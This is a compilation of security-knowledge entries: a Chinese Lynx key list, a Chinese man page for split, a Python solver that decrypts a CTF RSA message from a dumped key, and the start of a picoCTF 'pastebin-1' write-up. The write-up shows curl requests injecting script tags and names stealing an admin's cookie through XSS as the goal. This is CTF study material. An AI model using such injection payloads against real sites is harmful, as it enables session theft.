。 o:设置选项。 p:把当前页输出到文件,e-mail,打印机或其他地方。 q:退出。 /:在当前页内查找字符串。 s:在外部搜索输入的字符串。 n:搜索下一个。 v:查看一个书签文件。 V:跳转到访问过的地址。 x:不使用缓存。 z:停止当前传输。 [backspace]:跳转到历史页(同 V 命令)。 =:显示当前页的信息。 :查看当前页的源代码。 !:回到shell提示符下。 _:清除当前任务的所有授权信息。 *:图形链接模式的切换开关。 @:8位传输模式或CJK模式的切换开关。 [:pseudo_inlines 模式的切换开关。 ]:为当前页或当前链接发送一个“head”请求。 Ctrl+r:重新装如当前页并且刷新屏幕。 Ctrl+w:刷新屏幕。 Ctrl+u:删除输入的行。 Ctrl+g:取消输入或者传送。 Ctrl+t:跟踪模式的切换开关。 ;:看Lynx对当前任务的跟踪记录。 Ctrl+k:调用 Cookie Jar 页。 数字键:到后面的第 n 个链接。 ```
sec-knowleage
.TH SPLIT "1" "December 1999" "GNU textutils 2.0a" FSF .SH NAME split \- 分割文件 .SH "总览 (SYNOPSIS)" .B ../src/split [\fIOPTION\fR] [\fIINPUT \fR[\fIPREFIX\fR]] .SH "描述 (DESCRIPTION)" .\" Add any additional description here .PP 把 输入文件 INPUT 按 固定大小 的 文件片 PREFIXaa, PREFIXab, ... 输出; 缺省的 PREFIX 是 `x'. 如果 没有 指定 INPUT, 或 INPUT 是 -, 就从 标准输入 读取 数据. .TP \fB\-b\fR, \fB\-\-bytes\fR=\fISIZE\fR 输出文件 大小 定为 SIZE 字节 .TP \fB\-C\fR, \fB\-\-line\-bytes\fR=\fISIZE\fR 输出文件 大小 定为 最多 SIZE 字节 的 行 .TP \fB\-l\fR, \fB\-\-lines\fR=\fINUMBER\fR 输出文件 大小 定为 NUMBER 行 .TP \fB\-NUMBER\fR 同 \fB\-l\fR NUMBER .TP \fB\-\-verbose\fR 在 打开 每一个 输出文件 之前, 把 诊断信息 送往 标准错误 .TP \fB\-\-help\fR 显示 帮助信息, 然后 结束 .TP \fB\-\-version\fR 显示 版本信息, 然后 结束 .PP 指定 SIZE 时 可以 使用 倍乘后缀: b 是 512, k 是 1K, m 是 1 Meg. .SH "作者 (AUTHOR)" Torbjorn Granlund 和 Richard M. Stallman. .SH "报告 BUGS" 发现的 bug 送往 <bug-textutils@gnu.org>. .SH "版权 (COPYRIGHT)" Copyright \(co 1999 Free Software Foundation, Inc. .br This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. .SH "另见 (SEE ALSO)" .B split 的 完整文档 以 Texinfo 手册 的 格式 维护. 如果 正确 安装了 .B info 和 .B split 程序, 使用 命令 .IP .B info split .PP 能够 访问到 完整 的 手册. .SH "[中文版维护人]" .B 徐明 <xuming@users.sourceforge.net> .SH "[中文版最新更新]" .BR 2003/05/13 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
# We reverse the binary to obtain the parameters, then perform RSA: from Crypto.PublicKey import RSA from Crypto.Util.number import long_to_bytes data = """.rodata:0000000000001100 db 30h ; DATA XREF: main+3AE↑o .rodata:0000000000001101 db 82h .rodata:0000000000001102 db 2 .rodata:0000000000001103 db 5Ch ; .rodata:0000000000001104 db 2 .rodata:0000000000001105 db 1 .rodata:0000000000001106 db 0 .rodata:0000000000001107 db 2 .rodata:0000000000001108 db 81h .rodata:0000000000001109 db 81h .rodata:000000000000110A db 0 .rodata:000000000000110B db 0AEh .rodata:000000000000110C db 68h ; h .rodata:000000000000110D db 61h ; a .rodata:000000000000110E db 0D4h .rodata:000000000000110F db 73h ; s .rodata:0000000000001110 db 0A6h .rodata:0000000000001111 db 33h ; 3 .rodata:0000000000001112 db 31h ; 1 .rodata:0000000000001113 db 33h ; 3 .rodata:0000000000001114 db 0C2h .rodata:0000000000001115 db 1Ah .rodata:0000000000001116 db 5Eh ; ^ .rodata:0000000000001117 db 0BEh .rodata:0000000000001118 db 0F5h .rodata:0000000000001119 db 0ECh .rodata:000000000000111A db 90h .rodata:000000000000111B db 0EAh .rodata:000000000000111C db 85h .rodata:000000000000111D db 77h ; w .rodata:000000000000111E db 0EAh .rodata:000000000000111F db 0C2h .rodata:0000000000001120 db 0DBh .rodata:0000000000001121 db 62h ; b .rodata:0000000000001122 db 73h ; s .rodata:0000000000001123 db 0B5h .rodata:0000000000001124 db 29h ; ) .rodata:0000000000001125 db 5Dh ; ] .rodata:0000000000001126 db 0C2h .rodata:0000000000001127 db 0BBh .rodata:0000000000001128 db 3Ah ; : .rodata:0000000000001129 db 3Ch ; < .rodata:000000000000112A db 0D1h .rodata:000000000000112B db 50h ; P .rodata:000000000000112C db 0BBh .rodata:000000000000112D db 0D4h .rodata:000000000000112E db 0D4h .rodata:000000000000112F db 9Eh .rodata:0000000000001130 db 0EEh .rodata:0000000000001131 db 33h ; 3 .rodata:0000000000001132 db 0DDh .rodata:0000000000001133 db 3Bh ; ; .rodata:0000000000001134 db 30h ; 0 .rodata:0000000000001135 db 45h ; E .rodata:0000000000001136 db 3Ch ; < .rodata:0000000000001137 db 0EBh .rodata:0000000000001138 db 0BEh .rodata:0000000000001139 db 0F1h .rodata:000000000000113A db 1Fh .rodata:000000000000113B db 67h ; g .rodata:000000000000113C db 0E4h .rodata:000000000000113D db 5 .rodata:000000000000113E db 5Ch ; .rodata:000000000000113F db 8Bh .rodata:0000000000001140 db 9Ch .rodata:0000000000001141 db 6Fh ; o .rodata:0000000000001142 db 3Ah ; : .rodata:0000000000001143 db 56h ; V .rodata:0000000000001144 db 0BAh .rodata:0000000000001145 db 0E2h .rodata:0000000000001146 db 0BAh .rodata:0000000000001147 db 0ECh .rodata:0000000000001148 db 9Ah .rodata:0000000000001149 db 0A7h .rodata:000000000000114A db 0D0h .rodata:000000000000114B db 43h ; C .rodata:000000000000114C db 0EDh .rodata:000000000000114D db 0BCh .rodata:000000000000114E db 27h ; ' .rodata:000000000000114F db 50h ; P .rodata:0000000000001150 db 46h ; F .rodata:0000000000001151 db 0C8h .rodata:0000000000001152 db 40h ; @ .rodata:0000000000001153 db 92h .rodata:0000000000001154 db 2Eh ; . .rodata:0000000000001155 db 87h .rodata:0000000000001156 db 0B6h .rodata:0000000000001157 db 24h ; $ .rodata:0000000000001158 db 0E3h .rodata:0000000000001159 db 0F4h .rodata:000000000000115A db 0C3h .rodata:000000000000115B db 1Bh .rodata:000000000000115C db 0D6h .rodata:000000000000115D db 0BDh .rodata:000000000000115E db 0ADh .rodata:000000000000115F db 55h ; U .rodata:0000000000001160 db 0A4h .rodata:0000000000001161 db 51h ; Q .rodata:0000000000001162 db 64h ; d .rodata:0000000000001163 db 23h ; # .rodata:0000000000001164 db 10h .rodata:0000000000001165 db 0D1h .rodata:0000000000001166 db 6Ch ; l .rodata:0000000000001167 db 14h .rodata:0000000000001168 db 0FDh .rodata:0000000000001169 db 35h ; 5 .rodata:000000000000116A db 0A8h .rodata:000000000000116B db 18h .rodata:000000000000116C db 0A1h .rodata:000000000000116D db 9Fh .rodata:000000000000116E db 0ABh .rodata:000000000000116F db 33h ; 3 .rodata:0000000000001170 db 14h .rodata:0000000000001171 db 0F9h .rodata:0000000000001172 db 3Eh ; > .rodata:0000000000001173 db 50h ; P .rodata:0000000000001174 db 34h ; 4 .rodata:0000000000001175 db 0C4h .rodata:0000000000001176 db 3Ch ; < .rodata:0000000000001177 db 28h ; ( .rodata:0000000000001178 db 0B6h .rodata:0000000000001179 db 10h .rodata:000000000000117A db 0D2h .rodata:000000000000117B db 0FCh .rodata:000000000000117C db 90h .rodata:000000000000117D db 9Bh .rodata:000000000000117E db 97h .rodata:000000000000117F db 60h ; ` .rodata:0000000000001180 db 0D5h .rodata:0000000000001181 db 9Ah .rodata:0000000000001182 db 13h .rodata:0000000000001183 db 0E5h .rodata:0000000000001184 db 3Eh ; > .rodata:0000000000001185 db 0BFh .rodata:0000000000001186 db 38h ; 8 .rodata:0000000000001187 db 0D0h .rodata:0000000000001188 db 52h ; R .rodata:0000000000001189 db 66h ; f .rodata:000000000000118A db 7Dh ; } .rodata:000000000000118B db 2 .rodata:000000000000118C db 3 .rodata:000000000000118D db 1 .rodata:000000000000118E db 0 .rodata:000000000000118F db 1 .rodata:0000000000001190 db 2 .rodata:0000000000001191 db 81h .rodata:0000000000001192 db 80h .rodata:0000000000001193 db 3 .rodata:0000000000001194 db 7Eh ; ~ .rodata:0000000000001195 db 81h .rodata:0000000000001196 db 0DFh .rodata:0000000000001197 db 40h ; @ .rodata:0000000000001198 db 0C5h .rodata:0000000000001199 db 0E6h .rodata:000000000000119A db 0A6h .rodata:000000000000119B db 0A8h .rodata:000000000000119C db 0B3h .rodata:000000000000119D db 0CDh .rodata:000000000000119E db 0D5h .rodata:000000000000119F db 72h ; r .rodata:00000000000011A0 db 1Bh .rodata:00000000000011A1 db 0F9h .rodata:00000000000011A2 db 36h ; 6 .rodata:00000000000011A3 db 5Ah ; Z .rodata:00000000000011A4 db 0Ch .rodata:00000000000011A5 db 7Ch ; | .rodata:00000000000011A6 db 7Fh ;  .rodata:00000000000011A7 db 8Eh .rodata:00000000000011A8 db 91h .rodata:00000000000011A9 db 0D8h .rodata:00000000000011AA db 0A2h .rodata:00000000000011AB db 1Ah .rodata:00000000000011AC db 0D2h .rodata:00000000000011AD db 0Eh .rodata:00000000000011AE db 57h ; W .rodata:00000000000011AF db 0D5h .rodata:00000000000011B0 db 6Ah ; j .rodata:00000000000011B1 db 70h ; p .rodata:00000000000011B2 db 47h ; G .rodata:00000000000011B3 db 7Dh ; } .rodata:00000000000011B4 db 47h ; G .rodata:00000000000011B5 db 96h .rodata:00000000000011B6 db 17h .rodata:00000000000011B7 db 0 .rodata:00000000000011B8 db 6Ch ; l .rodata:00000000000011B9 db 23h ; # .rodata:00000000000011BA db 4Bh ; K .rodata:00000000000011BB db 0DEh .rodata:00000000000011BC db 60h ; ` .rodata:00000000000011BD db 0B4h .rodata:00000000000011BE db 32h ; 2 .rodata:00000000000011BF db 69h ; i .rodata:00000000000011C0 db 42h ; B .rodata:00000000000011C1 db 0B5h .rodata:00000000000011C2 db 0Fh .rodata:00000000000011C3 db 0FDh .rodata:00000000000011C4 db 3 .rodata:00000000000011C5 db 0DBh .rodata:00000000000011C6 db 7Bh ; { .rodata:00000000000011C7 db 0A4h .rodata:00000000000011C8 db 2Ch ; , .rodata:00000000000011C9 db 69h ; i .rodata:00000000000011CA db 2Ah ; * .rodata:00000000000011CB db 11h .rodata:00000000000011CC db 0Ch .rodata:00000000000011CD db 0C3h .rodata:00000000000011CE db 78h ; x .rodata:00000000000011CF db 1Dh .rodata:00000000000011D0 db 3Fh ; ? .rodata:00000000000011D1 db 67h ; g .rodata:00000000000011D2 db 0F7h .rodata:00000000000011D3 db 42h ; B .rodata:00000000000011D4 db 0BCh .rodata:00000000000011D5 db 0BAh .rodata:00000000000011D6 db 38h ; 8 .rodata:00000000000011D7 db 0AEh .rodata:00000000000011D8 db 0CCh .rodata:00000000000011D9 db 26h ; & .rodata:00000000000011DA db 0DBh .rodata:00000000000011DB db 0CAh .rodata:00000000000011DC db 81h .rodata:00000000000011DD db 1Eh .rodata:00000000000011DE db 49h ; I .rodata:00000000000011DF db 0FDh .rodata:00000000000011E0 db 0FAh .rodata:00000000000011E1 db 6 .rodata:00000000000011E2 db 0BDh .rodata:00000000000011E3 db 32h ; 2 .rodata:00000000000011E4 db 83h .rodata:00000000000011E5 db 3Bh ; ; .rodata:00000000000011E6 db 9Eh .rodata:00000000000011E7 db 66h ; f .rodata:00000000000011E8 db 1Eh .rodata:00000000000011E9 db 9Bh .rodata:00000000000011EA db 8Bh .rodata:00000000000011EB db 4Fh ; O .rodata:00000000000011EC db 0F5h .rodata:00000000000011ED db 4 .rodata:00000000000011EE db 5Eh ; ^ .rodata:00000000000011EF db 81h .rodata:00000000000011F0 db 0DAh .rodata:00000000000011F1 db 69h ; i .rodata:00000000000011F2 db 0DBh .rodata:00000000000011F3 db 91h .rodata:00000000000011F4 db 7Eh ; ~ .rodata:00000000000011F5 db 0Fh .rodata:00000000000011F6 db 96h .rodata:00000000000011F7 db 69h ; i .rodata:00000000000011F8 db 0A1h .rodata:00000000000011F9 db 51h ; Q .rodata:00000000000011FA db 93h .rodata:00000000000011FB db 0B3h .rodata:00000000000011FC db 50h ; P .rodata:00000000000011FD db 0F4h .rodata:00000000000011FE db 84h .rodata:00000000000011FF db 10h .rodata:0000000000001200 db 0D8h .rodata:0000000000001201 db 49h ; I .rodata:0000000000001202 db 24h ; $ .rodata:0000000000001203 db 0C6h .rodata:0000000000001204 db 0B0h .rodata:0000000000001205 db 51h ; Q .rodata:0000000000001206 db 2Bh ; + .rodata:0000000000001207 db 0BCh .rodata:0000000000001208 db 7Ah ; z .rodata:0000000000001209 db 0E0h .rodata:000000000000120A db 26h ; & .rodata:000000000000120B db 0DFh .rodata:000000000000120C db 42h ; B .rodata:000000000000120D db 0EFh .rodata:000000000000120E db 0BBh .rodata:000000000000120F db 9Bh .rodata:0000000000001210 db 57h ; W .rodata:0000000000001211 db 0E2h .rodata:0000000000001212 db 0DDh .rodata:0000000000001213 db 2 .rodata:0000000000001214 db 41h ; A .rodata:0000000000001215 db 0 .rodata:0000000000001216 db 0D9h .rodata:0000000000001217 db 8Bh .rodata:0000000000001218 db 83h .rodata:0000000000001219 db 0A9h .rodata:000000000000121A db 0F6h .rodata:000000000000121B db 0BDh .rodata:000000000000121C db 94h .rodata:000000000000121D db 0CCh .rodata:000000000000121E db 0EFh .rodata:000000000000121F db 93h .rodata:0000000000001220 db 34h ; 4 .rodata:0000000000001221 db 5Ah ; Z .rodata:0000000000001222 db 35h ; 5 .rodata:0000000000001223 db 0EEh .rodata:0000000000001224 db 8Bh .rodata:0000000000001225 db 0B3h .rodata:0000000000001226 db 4Eh ; N .rodata:0000000000001227 db 32h ; 2 .rodata:0000000000001228 db 41h ; A .rodata:0000000000001229 db 7Ch ; | .rodata:000000000000122A db 0C6h .rodata:000000000000122B db 9Ch .rodata:000000000000122C db 2Ah ; * .rodata:000000000000122D db 5Eh ; ^ .rodata:000000000000122E db 0F0h .rodata:000000000000122F db 97h .rodata:0000000000001230 db 0C2h .rodata:0000000000001231 db 45h ; E .rodata:0000000000001232 db 3Dh ; = .rodata:0000000000001233 db 8Fh .rodata:0000000000001234 db 68h ; h .rodata:0000000000001235 db 1Eh .rodata:0000000000001236 db 34h ; 4 .rodata:0000000000001237 db 0B7h .rodata:0000000000001238 db 0B0h .rodata:0000000000001239 db 5Fh ; _ .rodata:000000000000123A db 0AFh .rodata:000000000000123B db 5Eh ; ^ .rodata:000000000000123C db 9Eh .rodata:000000000000123D db 0FDh .rodata:000000000000123E db 41h ; A .rodata:000000000000123F db 0B8h .rodata:0000000000001240 db 0EEh .rodata:0000000000001241 db 5Ch ; .rodata:0000000000001242 db 8Bh .rodata:0000000000001243 db 5Ah ; Z .rodata:0000000000001244 db 0CAh .rodata:0000000000001245 db 4Eh ; N .rodata:0000000000001246 db 0B7h .rodata:0000000000001247 db 51h ; Q .rodata:0000000000001248 db 7Ah ; z .rodata:0000000000001249 db 0DEh .rodata:000000000000124A db 57h ; W .rodata:000000000000124B db 21h ; ! .rodata:000000000000124C db 37h ; 7 .rodata:000000000000124D db 0AAh .rodata:000000000000124E db 40h ; @ .rodata:000000000000124F db 9Eh .rodata:0000000000001250 db 23h ; # .rodata:0000000000001251 db 0Ah .rodata:0000000000001252 db 51h ; Q .rodata:0000000000001253 db 1Dh .rodata:0000000000001254 db 0EDh .rodata:0000000000001255 db 6Bh ; k .rodata:0000000000001256 db 2 .rodata:0000000000001257 db 41h ; A .rodata:0000000000001258 db 0 .rodata:0000000000001259 db 0CDh .rodata:000000000000125A db 3Ch ; < .rodata:000000000000125B db 0CBh .rodata:000000000000125C db 39h ; 9 .rodata:000000000000125D db 7Eh ; ~ .rodata:000000000000125E db 0CEh .rodata:000000000000125F db 0DFh .rodata:0000000000001260 db 9Fh .rodata:0000000000001261 db 0D2h .rodata:0000000000001262 db 0C8h .rodata:0000000000001263 db 67h ; g .rodata:0000000000001264 db 9Dh .rodata:0000000000001265 db 64h ; d .rodata:0000000000001266 db 86h .rodata:0000000000001267 db 22h ; " .rodata:0000000000001268 db 0D3h .rodata:0000000000001269 db 0E5h .rodata:000000000000126A db 0BCh .rodata:000000000000126B db 3Fh ; ? .rodata:000000000000126C db 0Ah .rodata:000000000000126D db 33h ; 3 .rodata:000000000000126E db 32h ; 2 .rodata:000000000000126F db 0B8h .rodata:0000000000001270 db 0E0h .rodata:0000000000001271 db 3Fh ; ? .rodata:0000000000001272 db 0DCh .rodata:0000000000001273 db 0A0h .rodata:0000000000001274 db 7Fh ;  .rodata:0000000000001275 db 0E6h .rodata:0000000000001276 db 0A6h .rodata:0000000000001277 db 0FCh .rodata:0000000000001278 db 87h .rodata:0000000000001279 db 0DFh .rodata:000000000000127A db 4Eh ; N .rodata:000000000000127B db 86h .rodata:000000000000127C db 80h .rodata:000000000000127D db 81h .rodata:000000000000127E db 3Ah ; : .rodata:000000000000127F db 0E4h .rodata:0000000000001280 db 0E0h .rodata:0000000000001281 db 5Eh ; ^ .rodata:0000000000001282 db 0E1h .rodata:0000000000001283 db 41h ; A .rodata:0000000000001284 db 1Ah .rodata:0000000000001285 db 0D0h .rodata:0000000000001286 db 0F4h .rodata:0000000000001287 db 0B8h .rodata:0000000000001288 db 0C2h .rodata:0000000000001289 db 4Eh ; N .rodata:000000000000128A db 0 .rodata:000000000000128B db 91h .rodata:000000000000128C db 9Ah .rodata:000000000000128D db 1Ah .rodata:000000000000128E db 0F0h .rodata:000000000000128F db 1Eh .rodata:0000000000001290 db 38h ; 8 .rodata:0000000000001291 db 9Fh .rodata:0000000000001292 db 0CAh .rodata:0000000000001293 db 55h ; U .rodata:0000000000001294 db 0E2h .rodata:0000000000001295 db 0A3h .rodata:0000000000001296 db 2Dh ; - .rodata:0000000000001297 db 0CDh .rodata:0000000000001298 db 0B7h .rodata:0000000000001299 db 2 .rodata:000000000000129A db 41h ; A .rodata:000000000000129B db 0 .rodata:000000000000129C db 81h .rodata:000000000000129D db 29h ; ) .rodata:000000000000129E db 7Bh ; { .rodata:000000000000129F db 77h ; w .rodata:00000000000012A0 db 0EBh .rodata:00000000000012A1 db 5Eh ; ^ .rodata:00000000000012A2 db 0AEh .rodata:00000000000012A3 db 3Dh ; = .rodata:00000000000012A4 db 6Bh ; k .rodata:00000000000012A5 db 35h ; 5 .rodata:00000000000012A6 db 0Ch .rodata:00000000000012A7 db 4Dh ; M .rodata:00000000000012A8 db 4Fh ; O .rodata:00000000000012A9 db 5Eh ; ^ .rodata:00000000000012AA db 1Dh .rodata:00000000000012AB db 0A5h .rodata:00000000000012AC db 0CDh .rodata:00000000000012AD db 14h .rodata:00000000000012AE db 0BBh .rodata:00000000000012AF db 9Bh .rodata:00000000000012B0 db 18h .rodata:00000000000012B1 db 0D4h .rodata:00000000000012B2 db 0D9h .rodata:00000000000012B3 db 0B7h .rodata:00000000000012B4 db 5Ah ; Z .rodata:00000000000012B5 db 0C3h .rodata:00000000000012B6 db 0CFh .rodata:00000000000012B7 db 0FDh .rodata:00000000000012B8 db 8Ah .rodata:00000000000012B9 db 4Ah ; J .rodata:00000000000012BA db 5Dh ; ] .rodata:00000000000012BB db 0F8h .rodata:00000000000012BC db 29h ; ) .rodata:00000000000012BD db 36h ; 6 .rodata:00000000000012BE db 0B2h .rodata:00000000000012BF db 0CAh .rodata:00000000000012C0 db 6Ch ; l .rodata:00000000000012C1 db 0F6h .rodata:00000000000012C2 db 12h .rodata:00000000000012C3 db 11h .rodata:00000000000012C4 db 0ADh .rodata:00000000000012C5 db 0F6h .rodata:00000000000012C6 db 0DDh .rodata:00000000000012C7 db 0D7h .rodata:00000000000012C8 db 26h ; & .rodata:00000000000012C9 db 8Ah .rodata:00000000000012CA db 36h ; 6 .rodata:00000000000012CB db 39h ; 9 .rodata:00000000000012CC db 0BCh .rodata:00000000000012CD db 4Fh ; O .rodata:00000000000012CE db 0EDh .rodata:00000000000012CF db 52h ; R .rodata:00000000000012D0 db 9Bh .rodata:00000000000012D1 db 8Ah .rodata:00000000000012D2 db 0C6h .rodata:00000000000012D3 db 61h ; a .rodata:00000000000012D4 db 18h .rodata:00000000000012D5 db 52h ; R .rodata:00000000000012D6 db 8Bh .rodata:00000000000012D7 db 0DDh .rodata:00000000000012D8 db 71h ; q .rodata:00000000000012D9 db 42h ; B .rodata:00000000000012DA db 2 .rodata:00000000000012DB db 97h .rodata:00000000000012DC db 2 .rodata:00000000000012DD db 40h ; @ .rodata:00000000000012DE db 12h .rodata:00000000000012DF db 0ADh .rodata:00000000000012E0 db 51h ; Q .rodata:00000000000012E1 db 0A1h .rodata:00000000000012E2 db 2Dh ; - .rodata:00000000000012E3 db 0D5h .rodata:00000000000012E4 db 0Dh .rodata:00000000000012E5 db 0ACh .rodata:00000000000012E6 db 0B1h .rodata:00000000000012E7 db 0B5h .rodata:00000000000012E8 db 0E3h .rodata:00000000000012E9 db 18h .rodata:00000000000012EA db 3 .rodata:00000000000012EB db 0A9h .rodata:00000000000012EC db 0E1h .rodata:00000000000012ED db 49h ; I .rodata:00000000000012EE db 7Fh ;  .rodata:00000000000012EF db 42h ; B .rodata:00000000000012F0 db 9Eh .rodata:00000000000012F1 db 4Ah ; J .rodata:00000000000012F2 db 3 .rodata:00000000000012F3 db 56h ; V .rodata:00000000000012F4 db 0BEh .rodata:00000000000012F5 db 54h ; T .rodata:00000000000012F6 db 49h ; I .rodata:00000000000012F7 db 0FBh .rodata:00000000000012F8 db 7Dh ; } .rodata:00000000000012F9 db 0EFh .rodata:00000000000012FA db 0A5h .rodata:00000000000012FB db 0C1h .rodata:00000000000012FC db 0D4h .rodata:00000000000012FD db 81h .rodata:00000000000012FE db 58h ; X .rodata:00000000000012FF db 0E5h .rodata:0000000000001300 db 0 .rodata:0000000000001301 db 80h .rodata:0000000000001302 db 79h ; y .rodata:0000000000001303 db 42h ; B .rodata:0000000000001304 db 2Eh ; . .rodata:0000000000001305 db 0C9h .rodata:0000000000001306 db 0ECh .rodata:0000000000001307 db 58h ; X .rodata:0000000000001308 db 7Bh ; { .rodata:0000000000001309 db 60h ; ` .rodata:000000000000130A db 41h ; A .rodata:000000000000130B db 5Bh ; [ .rodata:000000000000130C db 0C3h .rodata:000000000000130D db 0E4h .rodata:000000000000130E db 8Ah .rodata:000000000000130F db 0CCh .rodata:0000000000001310 db 0AAh .rodata:0000000000001311 db 73h ; s .rodata:0000000000001312 db 67h ; g .rodata:0000000000001313 db 0B8h .rodata:0000000000001314 db 2Ah ; * .rodata:0000000000001315 db 47h ; G .rodata:0000000000001316 db 0E4h .rodata:0000000000001317 db 0E2h .rodata:0000000000001318 db 0B8h .rodata:0000000000001319 db 0E6h .rodata:000000000000131A db 23h ; # .rodata:000000000000131B db 0Bh .rodata:000000000000131C db 6Ch ; l .rodata:000000000000131D db 9 .rodata:000000000000131E db 2 .rodata:000000000000131F db 40h ; @ .rodata:0000000000001320 db 3Eh ; > .rodata:0000000000001321 db 76h ; v .rodata:0000000000001322 db 64h ; d .rodata:0000000000001323 db 63h ; c .rodata:0000000000001324 db 0D4h .rodata:0000000000001325 db 83h .rodata:0000000000001326 db 0B0h .rodata:0000000000001327 db 0Eh .rodata:0000000000001328 db 62h ; b .rodata:0000000000001329 db 46h ; F .rodata:000000000000132A db 0B8h .rodata:000000000000132B db 1Fh .rodata:000000000000132C db 0Dh .rodata:000000000000132D db 0E3h .rodata:000000000000132E db 30h ; 0 .rodata:000000000000132F db 3Eh ; > .rodata:0000000000001330 db 0E9h .rodata:0000000000001331 db 16h .rodata:0000000000001332 db 40h ; @ .rodata:0000000000001333 db 79h ; y .rodata:0000000000001334 db 8Fh .rodata:0000000000001335 db 8Ah .rodata:0000000000001336 db 77h ; w .rodata:0000000000001337 db 30h ; 0 .rodata:0000000000001338 db 66h ; f .rodata:0000000000001339 db 0AEh .rodata:000000000000133A db 25h ; % .rodata:000000000000133B db 0E6h .rodata:000000000000133C db 0C3h .rodata:000000000000133D db 3Bh ; ; .rodata:000000000000133E db 75h ; u .rodata:000000000000133F db 7Eh ; ~ .rodata:0000000000001340 db 0ABh .rodata:0000000000001341 db 7Eh ; ~ .rodata:0000000000001342 db 0FFh .rodata:0000000000001343 db 4Ah ; J .rodata:0000000000001344 db 9 .rodata:0000000000001345 db 0E0h .rodata:0000000000001346 db 38h ; 8 .rodata:0000000000001347 db 0ECh .rodata:0000000000001348 db 0B6h .rodata:0000000000001349 db 5Dh ; ] .rodata:000000000000134A db 0EBh .rodata:000000000000134B db 0B3h .rodata:000000000000134C db 85h .rodata:000000000000134D db 59h ; Y .rodata:000000000000134E db 0C0h .rodata:000000000000134F db 6Dh ; m .rodata:0000000000001350 db 55h ; U .rodata:0000000000001351 db 4Eh ; N .rodata:0000000000001352 db 0A8h .rodata:0000000000001353 db 5 .rodata:0000000000001354 db 0C3h .rodata:0000000000001355 db 71h ; q .rodata:0000000000001356 db 0EFh .rodata:0000000000001357 db 60h ; ` .rodata:0000000000001358 db 18h .rodata:0000000000001359 db 0DBh .rodata:000000000000135A db 2Bh ; + .rodata:000000000000135B db 6Dh ; m .rodata:000000000000135C db 0CCh .rodata:000000000000135D db 1Eh .rodata:000000000000135E db 92h .rodata:000000000000135F db 0FCh """ data = map(lambda x: int(x.split()[2].replace('h',''),16), list(data.split('\n'))[:-1]) key = RSA.importKey(bytearray(bytes(data))) msg = """ msg[0] = 111; msg[1] = -122; msg[2] = -28; msg[3] = -106; msg[4] = 41; msg[5] = -66; msg[6] = -118; msg[7] = 94; msg[8] = 33; msg[9] = -30; msg[10] = -64; msg[11] = -38; msg[12] = 37; msg[13] = -73; msg[14] = -107; msg[15] = -32; msg[16] = 95; msg[17] = 10; msg[18] = 108; msg[19] = -23; msg[20] = 68; msg[21] = -37; msg[22] = 18; msg[23] = 76; msg[24] = 58; msg[25] = 108; msg[26] = 20; msg[27] = -121; msg[28] = -58; msg[29] = 54; msg[30] = 107; msg[31] = 109; msg[32] = -107; msg[33] = 6; msg[34] = 28; msg[35] = 45; msg[36] = 17; msg[37] = -98; msg[38] = -8; msg[39] = 114; msg[40] = -52; msg[41] = -101; msg[42] = 116; msg[43] = -121; msg[44] = 115; msg[45] = -89; msg[46] = 82; msg[47] = 114; msg[48] = 12; msg[49] = 91; msg[50] = 146; msg[51] = 141; msg[52] = 124; msg[53] = -87; msg[54] = 53; msg[55] = -21; msg[56] = -59; msg[57] = -42; msg[58] = 30; msg[59] = 28; msg[60] = -98; msg[61] = 126; msg[62] = -45; msg[63] = 110; msg[64] = 67; msg[65] = 53; msg[66] = -109; msg[67] = -48; msg[68] = 108; msg[69] = 38; msg[70] = -76; msg[71] = -107; msg[72] = -27; msg[73] = -103; msg[74] = 40; msg[75] = 99; msg[76] = 94; msg[77] = -21; msg[78] = -83; msg[79] = 64; msg[80] = -50; msg[81] = 38; msg[82] = 103; msg[83] = -9; msg[84] = 50; msg[85] = -78; msg[86] = 3; msg[87] = 13; msg[88] = 48; msg[89] = 36; msg[90] = -109; msg[91] = -124; msg[92] = 58; msg[93] = 25; msg[94] = -84; msg[95] = 111; msg[96] = 17; msg[97] = -69; msg[98] = 11; msg[99] = 91; msg[100] = 65; msg[101] = -115; msg[102] = -99; msg[103] = 73; msg[104] = 26; msg[105] = -79; msg[106] = 33; msg[107] = -39; msg[108] = 121; msg[109] = 67; msg[110] = -68; msg[111] = -125; msg[112] = 28; msg[113] = 54; msg[114] = -104; msg[115] = -71; msg[116] = 90; msg[117] = 83; msg[118] = -39; msg[119] = -12; msg[120] = -93; msg[121] = -103; msg[122] = 52; msg[123] = 103; msg[124] = -94; msg[125] = -117; msg[126] = -50; msg[127] = 6;""".split('\n') msg = list(map(lambda x: int(x.split()[2][:-1]) & 0xff, msg)) msg = int.from_bytes(bytes(bytearray(msg)),'big') print(long_to_bytes(pow(msg, key.e, key.n)))
sec-knowleage
# pastebin-1 Web # Solution We receive the source code for a pastebin-like service: ```javascript const http = require('http') const pageNew = `<!doctype html> <h3>make a new paste</h3> <form> <textarea name="paste"></textarea> <br> <input type="submit"> </form> <div id="error"></div> <script>error.innerHTML=decodeURIComponent(location.hash.slice(1))</script> ` http.createServer((req, res) => { if (req.method !== 'GET') { return res.writeHead(405).end() } const [pathname, query] = req.url.split('?', 2) const paste = new URLSearchParams(query).get('paste') const sendMsg = msg => res.writeHead(302, { location: `/#${encodeURIComponent(msg)}` }).end() if (pathname !== '/') { return sendMsg('error: unknown path') } if (!paste) { return res.writeHead(200, { 'content-type': 'text/html', 'content-security-policy': 'default-src \'none\'; script-src \'self\' \'sha256-a857n1MW8s/5S6R7Gyc+gFaD9SwMs5eEheAroy0rzWw=\'' }).end(pageNew) } res.writeHead(200, { 'content-type': 'text/html', 'content-security-policy': 'default-src \'none\'' }).end(paste) }).listen(3000, () => console.log('listening')) ``` The service allows pasting text and then reading it back. We also get an additional webpage where we can report a link to an admin and have him visit the link. This usually means that we need to use XSS to cause admin to execute some malicious code (usually leak us his cookie). As we can see from the source code, our paste gets posted as-is without any sanitization: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/pastebin-1] └─$ curl 'https://pastebin-1.mars.picoctf.net/?paste=test' test ``` So, we can just go ahead and submit Javascript code: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/pastebin-1] └─$ curl 'https://pastebin-1.mars.picoctf.net/?paste=<script>alert(1)</script>' <script>alert(1)</script> ``` Since the service supports GET requests, it's very easy to share such links which contain Javascript code. The only problem, of course, is the CSP: ```javascript res.writeHead(200, { 'content-type': 'text/html', 'content-security-policy': 'default-src \'none\'' }).end(paste) ``` A 